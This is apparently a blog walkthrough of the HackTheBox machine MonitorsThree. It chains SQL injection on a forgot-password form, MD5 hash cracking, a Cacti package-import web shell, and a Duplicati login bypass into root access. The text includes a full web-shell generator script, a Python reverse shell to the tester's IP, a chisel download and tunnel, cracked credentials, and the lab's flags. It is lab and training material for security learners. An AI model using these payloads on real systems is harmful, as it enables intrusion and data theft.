HackTheBox | MonitorsThree

In this walkthrough, I demonstrate how I obtained complete ownership of MonitorsThree on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned MonitorsThree from Hack The Box!
I have just owned machine MonitorsThree from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Mon Aug 26 17:42:14 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.202.183
Nmap scan report for 10.129.202.183
Host is up (0.087s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 26 17:42:56 2024 -- 1 IP address (1 host up) scanned in 41.54 seconds
💡
Don't miss an opportunity to find some breadcrumbs in the nmap output. We can see the HTTP redirect to http://monitorsthree.htb in the tcp/80 output, so let's go ahead and get that added to our /etc/hosts file.
echo -e '10.129.202.183\t\tmonitorsthree.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop

We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

Clicking around on the page, I try looking for any clickable elements or input points — basically, things a normal user would want to interact with. However, I only see the login button, so there's not much to do here.

At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

We know the web application has a login form, but we have no credentials with which to log in at this point. So, we'll need to do some more enumeration to hopefully uncover some more details.

Looking at these Burp requests, seems there may be an /admin/ directory
There is an information disclosure bug here



Gobuster Enumeration

Directories and Files
gobuster dir -u http://monitorsthree.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php -o 80.txt -t 100
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php -o 80.txt -t 100

Enumerate /admin/

Those 302 responses are probably redirecting back to the login page
We can get a partial glimpse of the admin UI



Virtual Hosts
gobuster vhost --domain monitorsthree.htb --append-domain -u http://10.129.36.168 \
-w /usr/share/seclists/Discovery/DNS/namelist.txt -t 100 --exclude-length 166
Found: cacti.monitorsthree.htb Status: 302 [Size: 0] [--> /cacti]



Cacti Virtual Host

Snyk Vulnerability Database | Snyk
CVE-2024-31445 in cacti | CVE-2024-31445

Searching Google for cacti 1.2.26 cve we find this Snyk report detailing a SQL injection vulnerability, but reading the details reveals that it requires an authenticated user, so moving on...

Cacti 1.2.26 Remote Code Execution ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers

There is also an authenticated RCE vulnerability for this version, but again, requires credentials



Testing Injections Elsewhere

💡
I did try testing for SQL injection on the login form, but didn't see any potential. But then, when I was testing the forgot_password form with ffuf, I noticed some irregularities with different usernames and server responses, so I tested in this field and found it is vulnerable to SQL injection.
We can also see the backend DBMS is MariaDB, which is a thing to identify early on



Ghauri — Automated SQLi Testing

GitHub - r0oth3x49/ghauri: An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws
An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws - r0oth3x49/ghauri
ℹ️
I experimented with ghauri, because I was looking for a SQLi testing tool that was similar to sqlmap, but with better performance. And, ghauri most definitely performs!`
git clone https://github.com/r0oth3x49/ghauri.git
cd ghauri
python3 -m pip install --upgrade -r requirements.txt
python3 -m pip install -e .
# Show the help menu
ghauri -h

Conveniently, most of the parameter names are exactly the same as sqlmap, so easy to adjust to this new tool

Go back into Burp and copy the contents of this HTTP POST request
nano request.txt
POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
Content-Length: 14
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://monitorsthree.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://monitorsthree.htb/forgot_password.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=s47m8auhtl4930t11a1mjeddu6
Connection: keep-alive

username=admin

request.txt



Enumerate Database Names
ghauri -r request.txt --batch -p username --dbms mariadb \
--dbs --threads 2

Use --current-db for now to save time on enumeration and avoid returning unneeded system database names

The nice thing about ghauri is that -- like sqlmap -- it will use the log files in ~/.ghauri to pick up from where we left off before. So, there's no need to re-test when using our iterative approach.



Enumerate Database Tables
ghauri -r request.txt --batch -p username --dbms mariadb \
-D monitorsthree_db --tables --threads 2



Enumerate Columns and Rows
ℹ️
Of all the tables in the monitorsthree_db database, the users table looks the most interesting, as its the most likely one to contain authentication data for the login service
ghauri -r request.txt --batch -p username --dbms mariadb \
-D monitorsthree_db -T users --dump --threads 2
💡
The password looks to be hashed using a weak cipher such as MD5, judging by the length of the hash. Shouldn't be any trouble to crack it.



Cracking the Hashes

cat ~/.ghauri/monitorsthree.htb/dump/monitorsthree_db/users.csv |
cut -d ',' -f 2,4 | 
tr ',', ':' | 
grep -v username | sort -u > hash
john --wordlist=rockyou.txt --format=Raw-MD5 hash
admin:greencacti2001



Logging into MonitorsThree

Enumerating this site, there's no additional information that is of value to us here, so let's see if we can log into Cacti with these credentials



Logging into Cacti

Excellent! The password is repeated on this service
ℹ️
I poked around in the system to see if I could find any additional information to keep in my back pocket for later, but didn't find anything. So, now's probably the time to go for those CVEs and see what we can do with those.





Exploit

Chained RCE

SQL injection on http://monitorsthree.htb/forgot_password.php allowed dumping user password hashes from that service's database. The passwords were hashed poorly using raw MD5, which cracks easily, let alone using password found in a word list.

The credentials for the admin user are repeated on the cacti.monitorsthree.htb virtual host, which is running an unpatched version of Cacti that is vulnerable to authenticated RCE via arbitrary file write.

RCE vulnerability when importing packages
### Summary An arbitrary file write vulnerability, exploitable through the “Package Import” feature, allows authenticated users having the “Import Templates” permission to execute arbitrary PHP co…



Generate the Payload

The vulnerability and exploit report contains a php script that can be used to generate the malicious package.

  1. In the $xmldata variable, there is a multi-line string containing XML that describes our package including:
    1. The path to write the file on the web server resource/test.php
    2. The sprintf() function swaps some placeholders with inputs and stores the content in $data
      1. The $filedata variable is base64 encoded and substituted in <data>%s</data> by
      2. And some cryptographic data to sign the package are encoded to base64 and substituted in <filesignature>%s</filesignature> and <publickey>%s</publickey> respectively.
  2. openssl_sign() is used to self-sign the package contents
  3. Then, write the contents to test.xml locally along with the package signature and $data variable contents
  4. Finally, use system() to cat test.xml and gzip it to test.xml.gz, which is the package we upload to the target

Importing this malicious package to Cacti causes a <?php phpinfo(); ?> to be written to http://domain.tld/cacti/resource/test.php. When this file is loaded the malicious phpinfo() function is executed.

nano payload_gen.php

payload_gen.php

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/pwnz.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php exec(\$_GET['cmd']); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

❗Changes made to the source code:

  • <name>resource/pwnz.php</name> change the remote file name to pwnz.php
  • $filedata = "<?php exec(\$_GET['cmd']); ?>"; change the payload to exec() on HTTP GET query parameter ?cmd
    • Escapes $_GET with \, so that the PHP parser doesn't try and translate it as a variable, but treat it literally
php payload_gen.php
Payload generated



Import to Cacti

Go to "Import / Export" > Import Packages > Click "Select a File" > Click "Import"
http://cacti.monitorsthree.htb/cacti/resource/pwnz.php?cmd=ping%20-c%203%2010.10.14.213

Ping test to my VPN IP

Ping test succeeded
⚠️
Be warned that there appears to be a cron job cleaning out the malicious packages, so you'll need to re-upload after a minute or two
sudo rlwrap nc -lnvp 443

Start a TCP listener to catch a reverse shell

http://cacti.monitorsthree.htb/cacti/resource/pwnz.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.213%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22bash%22)%27

Undoing the URL encoding ...

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.213",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

... the payload looks like this





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux monitorsthree 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on monitorsthree.



Users and Groups

Local Users

marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash    

Local Groups

marcus:x:1000:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:53:2b brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.36.168/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2255sec preferred_lft 2255sec    

Open Ports

tcp        0      0 127.0.0.1:46415         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      - 



Processes and Services

Interesting Processes

1202 www-data /usr/bin/mono /usr/lib/mono/4.5/xsp4.exe --port 8084 --address     



Interesting Files

/opt/docker-compose.yml

version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped    





Privilege Escalation

Internal Duplicati Server

Interesting Files

We can see from the /opt/docker-compose.yml file that the configuration files for the internal Duplicati server are stored in /opt/duplicati/config.

We can see the .sqlite databases for the server, but sqlite3 is not installed on the target, so we can transfer them to our attack box for analysis.

python3 -m http.server --directory /opt/duplicati/config 50080 &

Open a HTTP server on the target on tcp/50080 to server the files out of /opt/duplicati/config

Now we can download the .sqlite files for analysis

The Duplicati-server.sqlite database looks like it stores configuration data, while the CTADPNHLTC.sqlite server appears to store actual data and some configurations on file replication.

Doing some research, I found that Duplicati uses AES-256 to hash the password. However, researching this information even further, I came across this interesting write-up.

Duplicati: Bypassing Login Authentication With Server-passphrase
INTRO :



Port Forwaring

During the post-compromise enumeration, we discover tcp/8200 listening internally and we can hit tcp/8084 with curl — a port we found to be filtered on the initial nmap scan. Coupled with the information found in /opt/docker-compose.yml, we can be certain that this is for an internally listening Duplicati server.

Duplicati 2 User’s Manual
Documentation for Duplicati 2
Port Forwarding with C... | 0xBEN | Notes
GitHub Download from the Releases Page Usage Requires a copy of the Chisel binary on: The ta…

To summarize, we need to:

  • Download the chisel binaries
  • Run chisel server on our attack box
  • Run chisel client on the target and forward to the internal port in reverse
sudo python3 -m http.server 80

Host the chisel binary over HTTP

curl http://10.10.14.213/chisel -o /tmp/chisel

Download chisel to the target from the HTTP server

chmod +x /tmp/chisel

Make it executable on the target

sudo ./chisel server --port 8081 --reverse &

Start chisel server on tcp/8081 on our attack box, allow reverse forwards

/tmp/chisel client 10.10.14.213:8081 R:8084:127.0.0.1:8084 R:8200:127.0.0.1:8084 &

Forward tcp/8084 and tcp/8200 in reverse from our attack box to the target



Logging into Duplicati

💡
As mentioned in the article, the salt matches that of the .sqlite stored configuration



Use Browser Dev Tools

Press CTRL + SHIFT + I to open the developer tools, click "Console", and enter "allow pasting"
ℹ️
The interesting code mentioned in the write-up above is here in /login/login.js where the JavaScript does a few things that I'll clarify below by clearing up some of the nested methods.

Work your way from inside-out when reading the code, as the innermost nested code runs first.
var saltedpwd = CryptoJS.SHA256( // Use the CryptoJS.SHA256 parser to ...
  CryptoJS.enc.Hex.parse( // Convert hexadecimal to CryptoJS word array ... 
    CryptoJS.enc.Utf8.parse( // UTF8-Encode to hexadecimal byte array ...
      // $('#login-password').val())
        // Login page password textbox value
      // CryptoJS.enc.Base64.parse(data.Salt)
        // When the client HTTP POST get-nonce=1, the server responds
        // With a salt, and this salt we know matches the value
        // in the .sqlite database, so convert this from base64
        // back to raw data
      // The "+" here concatenates the two values together
      $('#login-password').val()) + CryptoJS.enc.Base64.parse(data.Salt)
  )
);
var noncedpwd = CryptoJS.SHA256( // Use the CryptoJS.SHA256 parser to ...
  CryptoJS.enc.Hex.parse( // Convert to CryptoJS word array ...
    // Convert from base the data.Nonce from the server
    // Concatenate this decoded value with the saltedpwd value
    CryptoJS.enc.Base64.parse(data.Nonce) + saltedpwd)
).toString(CryptoJS.enc.Base64); // Base64 encode the CryptoJS word array
💡
So, we know the login.js script is going to salt the password stored in the password field and convert that to hexadecimal and store that in saltedpwd. However, the value in server-passphrase in the .sqlite database is the server password that has already been salted
This passphrase is already salted, so if we just convert it to hexadecimal, we are doing that which login.js would have done anway ... salt the input password and convert to hex
ℹ️
Instead of using CyberChef as the author does in the article, I'm just going to be using some Linux commands to convert the base64-encoded passphrase to hex
echo -n 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 0
Paste the hexadecimal value in the script and press CTRL + S to overwrite the script contents. Now, we've converted the .sqlite password to hex and ready to nonce
⚠️
Again ... be sure to press CTRL + S to save your changes to login.js
You can just enter some junk data here and press "Sign In", since we're overwriting the saltedpwd with an arbitrary value
And, we're logged in!



Abusing the Backup Service

Looking at /opt/docker-composel.yml, the interesting bit is that the server is running with the following Docker environment variables:

      - PUID=0
      - PGID=0
Using the PUID and PGID allows our containers to map the container's internal user to a user on the host machine.

https://docs.linuxserver.io/general/understanding-puid-and-pgid/#using-the-variables
💡
Effectively, this docker container is running as though it were root on the host machine, which means that we should be able to use the backup service to backup and read the contents of the /root directory and other privileged directories.
In /opt/docker-compose.yml, / from the host is mapped to /source inside the docker container.
We'll make a directory in /tmp to write the backup data to

Configure a new backup > Next
No encryption
Expand source > tmp > pwned
We'll enter /source/root/ and press "Add path"
Also, add /source/home/marcus/

We'll disable scheduled backups and trigger it manually
And just so we don't consume a bunch of disk space, we'll keep three copies of the data
Now, we see our backup task and we can trigger it manually with "Run now"
Backup successful
Click "Restore files ..."
Select all files
We'll enter /source/tmp/pwned as the restore destination and click "Restore" at the bottom
Excellent!



Flags

User

730d92511b172bc250fd3996a26ee4f5    

Root

f16ab656237159ad52212f8ce6a81e1d    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.